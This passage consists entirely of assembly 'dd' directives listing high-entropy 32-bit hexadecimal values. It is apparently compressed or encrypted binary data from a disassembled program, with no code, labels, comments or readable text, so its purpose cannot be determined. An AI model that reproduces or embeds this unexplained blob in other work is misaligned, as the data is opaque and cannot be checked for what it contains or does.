dd 1884600h, 0F67D3B3Ch, 7037005Ah, 14D80C5Dh, 2B00ADA9h
dd 5813858Dh, 38FF92h, 16805154h, 0C48B22C0h, 0ED9B6C00h
dd 0F7C9085Eh, 0DD350788h, 609C2CB3h, 8C4322BAh, 0C6928D00h
dd 9FC3E471h, 84FA5067h, 0EAD2134Eh, 0A7B8005Eh, 0E0829460h
dd 62495800h, 0D5A40CFFh, 0CA5D00C8h, 31543A5Ch, 100E0A1h
dd 8FD074D1h, 0BAE12h, 0C2C6435Fh, 652740A5h, 22812913h
dd 2034A04Fh, 0D1423CE6h, 1FB100FBh, 68DBB5B6h, 2870B0A8h
dd 0BCFD960Eh, 0E0C08F2Bh, 61ED0C91h, 18DBECDCh, 485CA86Ah
dd 7E003009h, 47F2B7D4h, 0CB3EC98h, 5386E6A6h, 0D7005020h
dd 5CAD60EEh, 388488h, 447DF4C8h, 0A7CCD125h, 0E9B7CF00h
dd 1D63B14Bh, 0ED291428h, 316F0D4h, 0B8DE0070h, 3662E896h
dd 58E2F601h, 0AC6773Bh, 60F853CCh, 9668685Bh, 30E7E57Fh
dd 83021B30h, 0E37DF7EEh, 0DA0E087h, 0C04C70CFh, 6E356021h
dd 790F83D2h, 8F2A13DFh, 639AC38Bh, 353FBDDh, 33E43F80h
dd 0F0F7BCBEh, 85B4FB09h, 0A99F591Dh, 78078213h, 0FEB01AADh
dd 91A33Ah, 5C9397BAh
dd 676C62AFh, 0B84C9E2Ah, 87141500h, 0ACA3754Bh, 0D4C1001Bh
dd 0BFEDD502h, 0C80707A5h, 7728BBA0h, 0D00F5C20h, 23710E83h
dd 4FE0E6A4h, 0BA94705h, 0D8D0C01h, 83E860FAh, 3EE906E4h
dd 0B8BCEB26h, 0B184CD87h, 4BD40071h, 0FE3BA787h, 412E000Dh
dd 0D9767736h, 0A25F3A0Ah, 9B8CEE3Bh, 0A9101A7Eh, 67E1EF5Bh
dd 0D0FE0h, 62A76754h, 801E99F1h, 101CE074h, 948F7DAAh
dd 8007F74h, 57B06529h, 1FFA000Ah, 71A4F212h, 1003D0F9h
dd 2A1B53A7h, 0E1A8A04Eh, 16D6000Dh, 279F9B0Ah, 33010E43h
dd 0DE2C6C59h, 9885E0E4h, 0D04C54EFh, 0B6D40B34h, 0C8364018h
dd 7ED5E838h, 10585088h, 1C40F5DEh, 7B331E66h, 1B1900C3h
dd 4F12AD74h, 7A054815h, 8FB5B25Dh, 300B5B81h, 8137C0h
dd 0AB275158h, 59EA5C4Eh, 0CEFF6300h, 6899A3B2h, 7A3B004Dh
dd 3EB67914h, 6E00A109h, 6BBFF90Ch, 8F7087h, 94F6059Dh
dd 0AC1F439Fh, 27E65F00h, 59455C35h, 0C62500E5h, 1DE91CCCh
dd 0BD003167h, 3FDF5FB8h, 0EBF64Bh, 33288650h, 4324AE7Bh
dd 79FF938h, 3DDF987Dh, 28FFEF0h, 9477C3Ah, 0A584491Ch
dd 0EA6D2501h, 8B7B70F7h, 0AC126A01h, 0F0EBE4C8h, 58B31834h
dd 40000858h, 5CA930FEh, 0D900C1DEh, 0D231C353h, 0EE5E2160h
dd 0FAF528DAh, 475F00A4h, 56E37524h, 0EE00056Fh, 0C81C4252h
dd 1848C44Dh, 68747F14h, 0A220DDD4h, 850B0051h, 0DF2273CFh
dd 20CE9786h, 0D660A0D2h, 353DE65h, 45553AFCh, 103C52DDh
dd 0B3B68E15h, 5047B3F7h, 0C6401E4Ah, 3C16078h, 0BA097F01h
dd 211C24F6h, 807C6718h, 0EEC51C43h, 94074FDh, 0F60FB7Fh
dd 0C821C02Eh, 50F1EBE8h, 9B615580h, 4E2B8D00h, 19B9C760h
dd 724A00FCh, 3EDBB03Dh, 87037042h, 0EB9AC254h, 0B749001Dh
dd 3F3A38D5h, 9C00B216h, 0F0A80C6Bh, 0C4ABC6h, 87248673h
dd 4C8BE802h, 75AAFD01h, 57FC9B11h, 800BC2D4h, 0AB004B09h
dd 0ECBA66B5h, 2CB1E8Ah, 6593045Ah, 0CA405422h, 0B50D064h
dd 2800C23Ch, 0F5FD90A8h, 40387Ch, 5DFA65C0h, 66FFCF3Bh
dd 0C892D400h, 0EF8D2429h, 0FC1805E2h, 40561112h, 0A56EC5C4h
dd 8CEC5F98h, 0ADAF401h, 1FF6BDCFh, 0A7D5A450h, 0F84700BCh
dd 7F72D1Eh, 0E90078EBh, 0F06113FAh, 115409h, 694295D7h
dd 2E7F726h, 4E58910Fh, 0DF69DA12h, 0A39B43C0h, 0E247442Ch
dd 16051930h, 438507FEh, 0D07FFB6Ch, 79B6BAB9h, 0D4A45EEEh
dd 0DD809B80h, 93677B1Fh, 739CE25Dh, 0B0751700h, 0DEA872h
dd 59F255D2h, 0C829FCF4h, 508A49h, 3F78BC09h, 72B53CFh
dd 0B9EBB34Dh, 65E16CF7h, 0A40F94B0h, 0E0E49FBFh, 0DC0799BAh
dd 1B870036h, 0AEB12BA1h, 74036AD4h, 54047E41h, 86EC8053h
dd 6595004Bh, 9D1D6087h, 50698EDDh, 0A79380D9h, 2E3EC7Eh
dd 0AF241BA8h, 3C614841h, 706370F3h, 7E217500h, 80C5A46Ah
dd 48D04D89h, 0D8013F00h, 71A8658Eh, 8088093Dh, 394E7EA0h
dd 50BD44h, 1CA16253h, 0DD9825B9h, 0B94A454h, 80CCF648h
dd 3F316269h, 0EB76046Ah, 0C0DC0193h, 0F670BD2Eh, 0DE286FE4h
dd 87EC1C8Ch, 0AF01447Ah, 2F997F90h, 0B9927083h, 9B90200Ch
dd 3D005733h, 0DE32E359h, 0A801CB23h, 92C187A4h, 7C9E064h
dd 0C1F5DA9h, 0A194C0BDh, 0A390D0A6h, 3118F633h, 0EBF8F007h
dd 55B0715h, 0E1CB7763h, 0C565764Eh, 0E841F1DDh, 0D354A88Ch
dd 6702428Ch, 1B0F51DFh, 0F444CAh, 0C7E2FCCFh, 0DEAC7372h
dd 9859D300h, 7ECE935Bh, 0D8823068h, 0B434FA41h, 0CBE6F900h
dd 0BE1D9ADBh, 1A9101BDh, 2DFB7D40h, 6288500Dh, 0FA09643Dh
dd 8277C8BBh, 43672660h, 73C1C129h, 0B60B9040h, 36753B4Fh
dd 0B0807863h, 0E4987FE2h, 0B77C8AFEh, 3BB42400h, 6F6AA0Eh
dd 78900015h, 67C78869h, 87016F1Dh, 2FF44E99h, 6B718CB9h
dd 1104418Fh, 9900D015h, 0FDF2EB21h, 0CC007EA1h, 0E0976D91h
dd 4287AA0h, 7D4D1834h, 6E2AC068h, 400674Ah, 6D63DBBCh
dd 7C7811B1h, 752101FBh, 0D51B9C9Fh, 82A05113h, 0F37180DAh
dd 0B0FD9232h, 127518h, 0E7536D42h, 0C39D2EFFh, 8C915F0Bh
dd 929C10A0h, 0C68603C5h, 26D31B09h, 99B85150h, 0A711CE00h
dd 0CF8A6029h, 4ADE07AAh, 0BB0E519h, 902F0180h, 9F0A6202h
dd 0BC432AFCh, 8C01AB93h, 6A9635E2h, 227ACD8h, 84B96C8Ch
dd 304BC382h, 43EEDCC8h, 57377400h, 0A46D5DD7h, 0B5500585h
dd 927BCD9h, 1880EEE8h, 0AC94A010h, 2AE31800h, 6F0460A7h
dd 89E7184Bh, 0B86B51C4h, 5D9C8D00h, 7311F28h, 1EA4F470h
dd 4326EB13h, 7A5B5780h, 0A90024BBh, 0F2E075B2h, 1BD1848h
dd 3E177D04h, 2A7F0399h, 57B03A0h, 0F5E873FEh, 0DB8C402Dh
dd 225A961Bh, 3F89C1Fh, 4A7EEE80h, 102C27h, 3706F199h
dd 0CEF369DFh, 3CA56307h, 18E02521h, 7DA440h, 8F96B35Dh
dd 0C9ADE619h, 0B01227Fh, 81F0C21h, 2982FC17h, 0E04C1409h
dd 7028D981h, 0E542FCAAh, 41CEC100h, 61501C95h, 8918034Bh
dd 5B938A4Dh, 1893858h, 3B73D9BAh, 0DE309D1h, 0D246AF51h
dd 8504E020h, 0D2436FCh, 9D13D662h, 5E539400h, 0B11827h
dd 7DA98A63h, 9B5526Ch, 8E30D878h, 23E2614Fh, 0A189086Eh
dd 6B9FB93Bh, 6F374BC0h, 18BC858Eh, 18AFCF19h, 0BF50CE7Ch
dd 7560F8A3h, 0B661EC58h, 221308FBh, 57408F89h, 7D19FBAh
dd 7C97DB63h, 0C6C26084h, 1F611050h, 5A267169h, 0E0933180h
dd 75A70B27h, 29E28F01h, 88351F2Dh, 5D394880h, 78CD9225h
dd 3498ED14h, 0DE3FDCh, 3B94C397h, 526E0D13h, 21E9C26h
dd 4A9C370h, 8DD0FDFAh, 0B105F01Ch, 131063DCh, 77BAA440h
dd 3D4641BEh, 389E6C95h, 2A8047CCh, 68DAE014h, 9F00CB27h
dd 114DD746h, 94CF9Dh, 0B595C185h, 42DB3726h, 3C8F84A0h
dd 0E1D9A660h, 0E3320818h, 73A60h, 0B593F6FCh, 2A409AA6h
dd 0DB690E06h, 3E31B73Bh, 1FF22E14h, 19761E93h, 704C19A1h
dd 0E5F8B6A1h, 5B5DC00h, 2D16FEB8h, 0D1452430h, 911D8300h
dd 6FD879F8h, 0CC00805Fh, 7636D9A3h, 1979519h, 0B50ED0E6h
dd 401B23D1h, 9D64CE7Ch, 0CC1D9E28h, 0C66C1E00h, 0C3EE37F8h
dd 50560CFFh, 1089180Eh, 0A0391960h, 425B96h, 13BF6FFBh
dd 33997620h, 6A2427F8h, 930060C8h, 0D49D698h, 0EF4C00C1h
dd 7748C5C9h, 50024F24h, 261BC4EEh, 8DD4A825h, 0F4019020h
dd 9FCDD794h, 62F4F850h, 86B2443Ch, 2F2A0700h, 5EA5640Eh
dd 0F62B1D1Ch, 50544087h, 47576669h, 0F4889B54h, 15E03500h
dd 0A45D8668h, 362D09C9h, 380E0D6Ch, 0F11E1F31h, 6A0FAC00h
dd 581A01h, 948E6768h, 0EEAA38E1h, 8F112300h, 1913787Eh
dd 7CAC0CB1h, 0E0415D47h, 9961D700h, 0B9F054D8h, 22193817h
dd 6DF94080h, 7B245AE2h, 66771302h, 9047AFB3h, 7E9A9BD8h
dd 9FF301A5h, 0BCCB8BCh, 2AD26043h, 19506414h, 0ADE08EBCh
dd 0C3E071A5h, 557C0A92h, 40CC883Ch, 7D225FFh, 0D6995600h
dd 115F73A2h, 0B7A0064h, 0F568AEDAh, 0AF0FFA24h, 3D1A0DE1h
dd 0EFB56C01h, 0F8223CE0h, 589B9C00h, 0EE129182h, 0F323D400h
dd 36C4B5A8h, 0BAE8CDh, 0FFF04C55h, 891FBEAEh, 99428E30h
dd 1F5A2295h, 0C4C694h, 9FC371A9h, 0E06F409h, 88465036h
dd 38D700C1h, 0F7D9D8BCh, 7F01E243h, 0BE51A7FDh, 52D42F4Bh
dd 67B70490h, 970B37D1h, 10903938h, 54001CDAh, 80EF31BFh
dd 0DAB73h, 58C0C38Dh
dd 5DE18213h, 46E2DE0Ch, 2430719Ch, 0E4ECB2h, 6CF3F029h
dd 0AE269841h, 531A77C6h, 0CCC1859h, 31EE0087h, 1524C62Ah
dd 6E0158FFh, 29CF2139h, 29809046h, 7B2B3878h, 0A3006157h
dd 653E349Ch, 6303ACC6h, 559AB906h, 46C58E8h, 34AAAF04h
dd 6888525Fh, 17BF0298h, 781049D4h, 426F4080h, 541FF895h
dd 0DE80ED90h, 0E99E6B08h, 4446FED7h, 127CFF8Fh, 5A5F1B00h
dd 0DE3F8B1Eh, 235700AAh, 0FAE7CC92h, 4730895Eh, 21C33197h
dd 30070594h, 0C2668E92h, 84057D7h, 18002A49h, 0F7B47F23h
dd 0C60E2ED1h, 109386C1h, 19E544h, 1D984589h, 0AEDCF512h
dd 0A145E498h, 298015D5h, 830AA856h, 213C47F5h, 96861ECDh
dd 6CCF309Eh, 6779C032h, 7F8EFCh, 0E6E4807Bh, 0F7A9ADA0h
dd 8B612301h, 47FBE2F1h, 0F0FC48h, 3F276E20h, 0AB98E71Fh
dd 6795C004h, 908213EFh, 60E719C1h, 0AD18AC78h, 59195C92h
dd 0A98B600Eh, 2E8F8E97h, 50470B18h, 0D2C421h, 17832B60h
dd 8953DBE2h, 0E016DA00h, 0D047FDA3h, 0DE07B8D1h, 471C24E1h
dd 0B0B78764h, 854D82F3h, 80001B72h, 0B6FCF86Dh, 0FFA42A96h
dd 9F2830h, 13F35CF5h, 0C192F189h, 51201730h, 0B48224Ch
dd 15E72C9Eh, 47B59800h, 0DC16B63Ch, 0D430895Ch, 97A4BCFh
dd 15A37364h, 0BFE0C890h, 0B76B021Dh, 0E4AE2A41h, 0B4306841h
dd 0AD3B30BEh, 65F627F9h, 932C6100h, 83A8EB64h, 0AE793DE1h
dd 0F9F10500h, 0C2C4497Ch, 538AE400h, 0C3B52D8Ch, 87021D98h
dd 45E1D6BAh, 0D0242CE8h, 790D8F28h, 6A9E7C02h, 205B46EDh
dd 0DF249197h, 0D4094276h, 6406999h, 2152CBh, 6BCDD036h
dd 0C21DAC74h, 7930F609h, 44778247h, 0BA49E0BDh, 0AC140164h
dd 23EFAF53h, 9192F072h, 708EF303h, 0E23ED53Fh, 208062C3h
dd 18BFF284h, 0ADB100D1h, 0BD5D38CEh, 4200E071h, 37013192h
dd 3189C36Ch, 0A5894D7Ch, 98082041h, 30F9D5FEh, 0E444FD3Ch
dd 30796268h, 0C0204465h, 5AF0247h, 0CED8F996h, 35880FC9h
dd 0C0FF05C5h, 4E74ADE4h, 4C72CF58h, 71450084h, 0CA902BA8h
dd 62E20014h, 0D10880C7h, 69C6FD32h, 617847h, 4B81C48Ah
dd 185E4214h, 6C96DA24h, 0C1750E81h, 0E020A6DCh, 23C50C7Fh
dd 0F0395947h, 9400A977h, 0FA679981h, 0D818ECA8h, 7BD7A0D8h
dd 3CBE48h, 0CC3E6AEAh, 428FFAh, 0F8141F15h, 17C2E0AEh
dd 0E900E091h, 0CBDC69D8h, 0F78C0074h, 0F5908408h, 6B017BBDh
dd 14098794h, 0A44C9989h, 465D24A2h, 0E2CE408Ch, 8C0097F1h
dd 0EFBACBAEh, 15C5EC8h, 779334C3h, 60D42486h, 0D15C6C48h
dd 852264h, 157FD039h, 2B18E2F0h, 0DBBC5516h, 0B3419500h
dd 5CFFDAC6h, 0D06B209Bh, 0D3C06200h, 0C774C3FCh, 5BDF102Ch
dd 29BD5A00h, 0C18D4706h, 994BF459h, 42DC4089h, 6900109Ah
dd 7723E195h, 2ED1C1C9h, 16240CDAh, 86580872h, 60D26D8Eh
dd 0CCF941E6h, 88360111h, 0B007088Eh, 0FAB8C54Eh, 7C4FA468h
dd 2FB89050h, 0C5589603h, 39A474Ah, 0AA8A0D49h, 0D8290BFCh
dd 1405ECCDh, 5CCC56E7h, 84A7005Eh, 1B508679h, 8979CD6Ch
dd 76180099h, 14DCE0A8h, 0B8260493h, 0E0D6B80h, 0F800B7DEh
dd 8E071FA5h, 13F2837h, 0CDE94EC8h, 0F41E9212h, 7D3489CBh
dd 9030395Fh, 1F783AECh, 258BDF6h, 0ACA0E50Fh, 0C16D8880h
dd 62147197h, 68C218h, 0AAE0D23h, 0B9474E45h, 42BE00A8h
dd 0F1B7FB6Fh, 0CD417000h, 0DCAA9371h, 8F530B8Ch, 6081BB74h
dd 30670D57h, 2E005CD4h, 0DA8BBF1Dh, 5105DD04h, 518083ACh
dd 5F60D670h, 371DE508h, 27406B49h, 0ACDBDE66h, 4440B0EAh
dd 1C01FDB5h, 7D7CCB62h, 89D11392h, 0C10DC080h, 1853CD80h
dd 3A3D822h, 9F7CC0A7h, 0CEE299F1h, 3888922Fh, 2FF076Fh
dd 0AEEB419h, 581F04ECh, 417482B0h, 299EB20h, 0CCB350A5h
dd 4CDB262Dh, 0AAF60428h, 0C25CC458h, 0BA20E8A0h, 7C4F55CEh
dd 0C571C2h, 2DC377CDh, 0B41C50D2h, 0F69729C0h, 26FD814Eh
dd 11482234h, 0A558001Bh, 96C1E042h, 189F17E5h, 0C60820DCh
dd 29C01A10h, 0F6CEF3BDh, 0C2690BCCh, 0A4116889h, 38C7247h
dd 0EA0B832Ch, 0B5CEE84Ch, 0A47E580Dh, 0D1148D22h, 805C1B34h
dd 0E696F647h, 44C303CBh, 9E634F23h, 4C68BCEAh, 4E60A7ADh
dd 76247369h, 62E102B3h, 49DCB2D7h, 0A600B859h, 94275221h
dd 5C060085h, 1B6C6E96h, 8963D918h, 0A4BB3B81h, 69E0EB0Eh
dd 0DC7A7325h, 41C98600h, 0D11FB999h, 13E77477h, 9716508Ch
dd 7F7C0128h, 7BE4483Bh, 93C1C00h, 238DA5C3h, 6BE1096Fh
dd 4000599Ah, 0CF61D9A9h, 8C9B732Eh, 93E83800h, 62052478h
dd 7434C052h, 0C7000866h, 1C275CAAh, 29B7EAh, 654EF05Fh
dd 45ACDDBDh, 848E432Ch, 567F0260h, 0E9871DA5h, 0FBC30052h
dd 0D84DED1h, 6AA87A03h, 225C14BBh, 0D900B6C0h, 3EBA4CC3h
dd 603C2E8Ch, 0A134198Ah, 3200F8EAh, 0FD855C6h, 244DFD9h
dd 0E220825h, 7841AD01h, 9574207Fh, 162488h, 610D1E38h
dd 7158CFADh, 0B0864C90h, 0C55B1700h, 7BF71B77h, 9BEA0097h
dd 0A2D3DB43h, 0F316723Ah, 8401EEF8h, 0C7A08DF1h, 18A6CFD0h
dd 84CAE09Dh, 0B45C55A2h, 782200h, 2F7CB8D5h, 0A089F81Fh
dd 12194360h, 4857FAC5h, 4A835C47h, 0CCC0EA8Dh, 1C017CBCh
dd 30852B04h, 2D10D6h, 36D3FF00h, 239BA1CFh, 9294A01Ch
dd 52288881h, 0E7C0CC5Eh, 0AC0A124Dh, 0D9602346h, 0F04EA0C7h
dd 0BF0A8509h, 90E95275h, 0D047D80Ah, 8BDA2340h, 94720F30h
dd 632F2B57h, 0D1140257h, 0FC98E9C2h, 0F7005474h, 0A4A86A69h
dd 672E7Fh, 8081A6A7h, 0CEA2CDD9h, 46092890h, 80F58E04h
dd 0C4418ACAh, 39D5482Dh, 0EEC6FD00h, 5B2C7BAh, 3C40F09Ch
dd 0DDE187h, 0AA95AB7Eh, 0D889738Fh, 2440104Bh, 9BF3B7D4h
dd 0A0330051h, 4A979113h, 20092DFAh, 4C9DE23h, 0CC0EE15h
dd 554007h, 56C83ECFh, 11703BCEh, 1090680Ch, 70951FEh
dd 99D645C6h, 0FDCDA0BBh, 0EB00A121h, 0E97BBE0Bh, 13E7960Ch
dd 88ACCF19h, 8B00CE34h, 0FBF18E69h, 126ED81h, 8595A063h
dd 0E6353982h, 108864C1h, 14C854h, 13B8174Bh, 0B6756C21h
dd 1101FB77h, 0DC4861E5h, 0B4404D44h, 3AC4E0D8h, 8500CC92h
dd 78861C98h, 0EE193D5Fh, 781B03Bh, 0B858C0h, 9B5BB6D5h
dd 1BE98EE0h, 22637C13h, 7740D001h, 0C4405D60h, 0B0AE73A1h
dd 0F0651BCCh, 88B068D5h, 0BC941072h, 0EF361A81h, 66D02864h
dd 0A35839DFh, 0CEAD027Dh, 68F14F3Eh, 80CFE087h, 2204C835h
dd 46F8CB16h, 94C2A020h, 0F0A60345h, 0C66B172Ch, 0ACF34BC8h
dd 0D066902Ch, 98CC0167h, 79CC1F9Fh, 0A7B3003Bh, 0F9E96F2Fh
dd 0EC689426h, 0D1EEDD01h, 0A1850F0Bh, 8145DB2Bh, 70FA6108h
dd 0A8026EFCh, 0A68918EAh, 0F0E89003h, 0A9604E1h, 0C0A0DCD8h
dd 0ABC91DB7h, 258F4204h, 7C08B02h, 0A00BA4AEh, 587E7CB4h
dd 740FF723h, 11A14E53h, 70B6DE0Dh, 4F7B7688h, 0A69CBB8h
dd 0ACC89861h, 4C5F00FCh, 8D73DCABh, 0F6901622h, 2436BD05h
dd 20B276AAh, 1371C007h, 9D5DE064h, 183A3075h, 84CD02C5h
dd 55C1B80Bh, 60E2B541h, 71000298h, 98CC43BFh, 4ED1B2E1h
dd 683C4223h, 26E36DECh, 8A02A03Eh, 940FD1FEh, 17650860h
dd 5957EACh, 0D13BBA99h, 2201E21h, 0A18A41DCh, 6F8778D9h
dd 77417C09h, 0E7DD3D58h, 0F7D14C70h, 1F718039h, 0A8365B8h
dd 3AC0C994h, 8896F300h
dd 989E7397h, 66307869h, 104B1890h, 48F41114h, 0D339C100h
dd 2BDABF67h, 62090090h, 9332D2AAh, 0CF052FE1h, 3B575AC4h
dd 174400C8h, 0FA7351h, 974DB1B8h, 3C5C747Ch, 0C82E8174h
dd 64CC8E63h, 0ADA00A4Ch, 806C427Ch, 0C150F761h, 9E5CA989h
dd 0B30A7E4Ch, 80938A40h, 6F6B1E40h, 80901274h, 79CCC8E5h
dd 0B5C0107h, 0C560DA99h, 6E4570h, 470D15D6h, 12FB6266h
dd 0B021974Fh, 6AF450B2h, 0E0075851h, 3DD4B450h, 414234Bh
dd 0AF0183EAh, 0DC223E89h, 1E0EF014h, 45C73C09h, 7C44AEh
dd 74A1C9C6h, 2C735F66h, 2783A64Ch, 9E601108h, 3DFD7CACh
dd 577EA081h, 0C86DD0A9h, 87039A63h, 51458FE5h, 4CB4A489h
dd 198F2A6h, 56287535h, 625250AEh, 0D2E09B4h, 12BCE846h
dd 0B16D00CAh, 0F589941Ah, 0DD037770h, 0BA5CEB28h, 9D800EFh
dd 7DFF55DBh, 20FD3492h, 0C90ACC4h, 77A47107h, 6FD1CEAFh
dd 0ABE11D9h, 2675880Ch, 68756978h, 0E7801C94h, 0B7E3ACAFh
dd 0F4154C84h, 0CB68181h, 3270C02Ah, 896C0A00h, 0EEDEA7BAh
dd 543E1FBDh, 7DB500A2h, 0E34D347Eh, 9C504758h, 1F2BAB00h
dd 1C8856BCh, 0C32E815Ch, 4A74FF11h, 513D8B80h, 5DCC4B00h
dd 2AAACEC1h, 80C4B144h, 0EF866692h, 7B007FDCh, 9A977E69h
dd 90FA99ACh, 3AECA680h, 178490D4h, 8319E226h, 9D00ED4h
dd 8E0071ECh, 3C77A3CEh, 0E8F6DAFFh, 308D487Fh, 9D7828C0h
dd 7100489Ah, 0A016BB45h, 5DE4Ch, 694A53FBh, 0EF25350Bh
dd 0E0060D26h, 0E7482300h, 0DABA41h, 6224E46Fh, 0FD3EDC83h
dd 54613B26h, 1258C43Dh, 88FF59B2h, 0AA095CD0h, 84A806FDh
dd 47491418h, 1F54E090h, 0CD073A01h, 3FABE064h, 3D502270h
dd 0C10B66C2h, 9880EE80h, 9C354ECEh, 84B06390h, 0C409905Bh
dd 0F224809Fh, 2CA0800Fh, 4448D7Dh, 80EBCCD0h, 0DC2456DCh
dd 1C59C516h, 0BCFDE8D0h, 80349B75h, 96122349h, 1814D2D9h
dd 24AC89EBh, 4097D87Ah, 17989490h, 72D602A3h, 0A5DE306h
dd 0B101E4E6h, 8CFFE09h, 0F3D02849h, 0F98E1382h, 5C04EF43h
dd 0D0C2133Dh, 82C620A6h, 261D0298h, 72C05287h, 18BA70AFh
dd 0CE0539C0h, 1D2E0A92h, 509CA47Ch, 2D18BA68h, 0D1F0E037h
dd 760F7477h, 7FA800E1h, 7561505Fh, 0D1F1837h, 177A166Fh
dd 0D030AF6Dh, 9019DA09h, 8262004Ah, 0C4A29E7Bh, 0F816C373h
dd 5CD0A518h, 49916Bh, 0A98A8E1Fh, 389FC357h, 5912630Bh
dd 0D7748083h, 294DDCC1h, 3FFC8E8Ah, 20B85229h, 3BE918C4h
dd 54C118Fh, 8B1F69FAh, 0EC80D5A9h, 9409AB77h, 0F502696h
dd 0AF5D40C4h, 2E09C3EEh, 7B9A8D4h, 3BE48DE8h, 7ABCCC1h
dd 5D5A0884h, 0EC80E546h, 0A0ED322h, 0D3747B33h, 7F3100C8h
dd 0CF6E0B25h, 3C684681h, 8D006904h, 84C04033h, 2CD7704Ah
dd 1B3BD68h, 0C456AEFFh, 74E08CF8h, 0F14C08EBh, 881407Ch
dd 0C0D96197h, 12001B8Ch, 31EE14FFh, 0E6EFC5A9h, 80A099AFh
dd 46E633F3h, 0BA00093Dh, 8D93BB8Eh, 1A9847B6h, 605E90B4h
dd 8400EC78h, 899B9C5Dh, 402015E3h, 0DE017140h, 0CDC2C911h
dd 0E0FE0479h, 2849A18Ch, 48B4B630h, 0CFC04890h, 3996A618h
dd 0EA001BF6h, 0EB5A3DD8h, 7C01C24Eh, 45361580h, 0F10090D3h
dd 0D4D9686Bh, 0D67D8DD7h, 1071AB07h, 7350FC7Eh, 0B49A8920h
dd 1DE09778h, 8F002294h, 0CCF527E9h, 98E6C35Fh, 0FAA129CCh
dd 0E380BCB4h, 1CD2075Eh, 4C0F36DCh, 7C3351F3h, 7C349F07h
dd 4128F182h, 9E607B5Ch, 88955026h, 863E2C9Dh, 188D040Ah
dd 0D150E4C4h, 3C562C5Bh, 2E54C8h, 0F08AB196h, 833F3448h
dd 0BB89B00h, 0D4F75ACFh, 887D4BF1h, 9400F41Ch, 0D3750A91h
dd 2C48619h, 0EB8805A9h, 5CC1E7A7h, 0AD6DC482h, 68185024h
dd 44A7F660h, 680F4C0h, 8E7DAE3Ch, 4D13C8BAh, 4D017CBh
dd 0EEE690C8h, 1A49825h, 0BA839B7Ah, 706718D9h, 1D5CE70Ch
dd 2CD0C03Ch, 1307E92Dh, 0C8245088h, 3850CC48h, 2752938Ah
dd 0BD6C0FC0h, 71D2A0D6h, 603CEFAEh, 625231ACh, 0BE009180h
dd 479F4495h, 2F06D30Eh, 0C8204643h, 3A7483F7h, 0C000A978h
dd 0E7F9167Eh, 613BED2Ah, 0E69549A3h, 3504F848h, 3D61470Bh
dd 1A40EDAh, 3C6A557Ch, 0F19C032Eh, 40CACF88h, 720188D9h
dd 0EC25C3B5h, 18722E0h, 0E4F4B3EFh, 40AE3B2Ah, 0EC9DBE78h
dd 3CA01E01h, 0ABA37346h, 0FC107E8h, 7DFD3A95h, 0F17C3056h
dd 722D2EECh, 87D0D8h, 0DDA77D21h, 0F4894EC4h, 5A038303h
dd 0E8F79776h, 988CC690h, 1848087Ch, 0BCA095C2h, 0CB1DD703h
dd 90EDF692h, 227AAC7h, 0CCDF11D4h, 24C0DC0Eh, 0AF48FF67h
dd 0E8063048h, 3852204Dh, 2F80EEEh, 0DF9B1097h, 9471133Bh
dd 0AAA68F03h, 0DC8BF066h, 0BAE40024h, 33EBF44Ch, 0D400B6CEh
dd 8E9341D9h, 50FA4A79h, 0C075A856h, 0BA88A950h, 914A58Ch
dd 8458A619h, 0D48946CEh, 0B903F4h, 8E7A3DD0h, 0DD587B06h
dd 3FF18702h, 0C12447D2h, 48208090h, 6EFD00BFh, 9C9E8E97h
dd 1C4BF41Eh, 427888h, 2D46321h, 8762E14Ah, 64CFF204h
dd 14884741h, 26E30090h, 0F1786355h, 0B51FC2A9h, 40ECF553h
dd 2350D504h, 0AF7548Ch, 38C59D0Eh, 0A0830298h, 10F9778Eh
dd 0E5546200h, 1FF8136Bh, 0C1C2D32Ah, 0C5D930F1h, 0D859CE02h
dd 0DC8E440Eh, 0B182980h, 765C88Fh, 984574B9h, 590A5092h
dd 0D0A13843h, 80E07876h, 0E0841A02h, 2D260ACCh, 58469D8h
dd 0BFC5CD4h, 64055DF8h, 1F88C886h, 0F7809C91h, 0FA790558h
dd 1ED6A078h, 0D3840248h, 3CE0ADC8h, 3900187Ah, 1A20631Dh
dd 15E5CE3h, 5A1525F6h, 0E04A4DC0h, 0CE7D889Ah, 70DA551Ch
dd 0A41FFD8Fh, 54B236D1h, 8A3DB101h, 78C48EF1h, 3D180FCh
dd 1F5107h, 5A6CC39h, 0ED85AAD2h, 0EA894401h, 32D18CE1h
dd 0D43C502Ah, 0B61C3CC0h, 602AFF6h, 0F286625Fh, 8C66FFh
dd 0E785BCDAh, 797ED736h, 0C10B9FE4h, 901950A0h, 140C232Ch
dd 0C4743477h, 0ACDD01DFh, 0F17391C8h, 8AD9D066h, 143C1300h
dd 4A2CBF19h, 4149448h, 0F0B48B62h, 8902F424h, 0C35E2EFDh
dd 0ED947217h, 3354E4h, 66B5512Ch, 6E656BD3h, 5F2AB600h
dd 0CB141F37h, 23A5063Eh, 58AF420Fh, 1BA9480Fh, 5A9486BAh
dd 0D184450h, 377FC271h, 0DD51CD2Eh, 0C95DFE01h, 828B1186h
dd 0A08581F1h, 24A2A4h, 7BDBEFE0h, 71428A5h, 12AB196Bh
dd 0B38039F6h, 7CF7B6BDh, 0F9A79C05h, 8420DC18h, 165F3EBEh
dd 8C9265Bh, 0A8A98D44h, 0A1496880h, 14DB107Ch, 0F8FDD172h
dd 61658680h, 6713F60Ah, 1CB3E6D8h, 0E2E9A100h, 6C4ED192h
dd 1F88A3Bh, 740B7668h, 4047C318h, 5F36FA51h, 0CFC90428h
dd 6F3E6057h, 44C0B8B8h, 3B22E048h, 17E7AACh, 6F595E0Dh
dd 0E487D8ADh, 4D586DD7h, 0EBA204B0h, 30ACEE2Ah, 0CB0F5061h
dd 7CE4DAE0h, 0A5F8F974h, 0FCD4022Ch, 50C9C21Fh, 8EE85916h
dd 472451F6h, 853F405Bh, 3C4361h, 1B71384Ah, 86A97E19h
dd 20F28E00h, 0E8DABA6Ah, 0E6D090BDh, 0F070F798h, 2B2F0D64h
dd 0FC9021F4h, 34A41050h, 6581791Dh, 0F31CF500h, 0C45DACh
dd 6620319Fh, 678C5EEAh, 1D3E2E0Bh, 4E5884C3h, 70E4C41h
dd 0A06247h, 26623CF6h, 7761EB6h, 0E0A8B155h, 0DA131057h
dd 3A7B7EDDh, 683E1FF0h, 0BA561680h, 0D166F802h, 0C1C5934h
dd 0ECB8138Eh, 88FDC100h, 385D2380h, 682424AAh, 0E86B01D9h
dd 50994531h, 30C590E4h
dd 88DBF900h, 750D1FA9h, 6C9097ADh, 0F83EA571h, 0BBD40048h
dd 0CFEAE3D3h, 8B34B8D2h, 0B814A384h, 7BACD9FBh, 0E2020089h
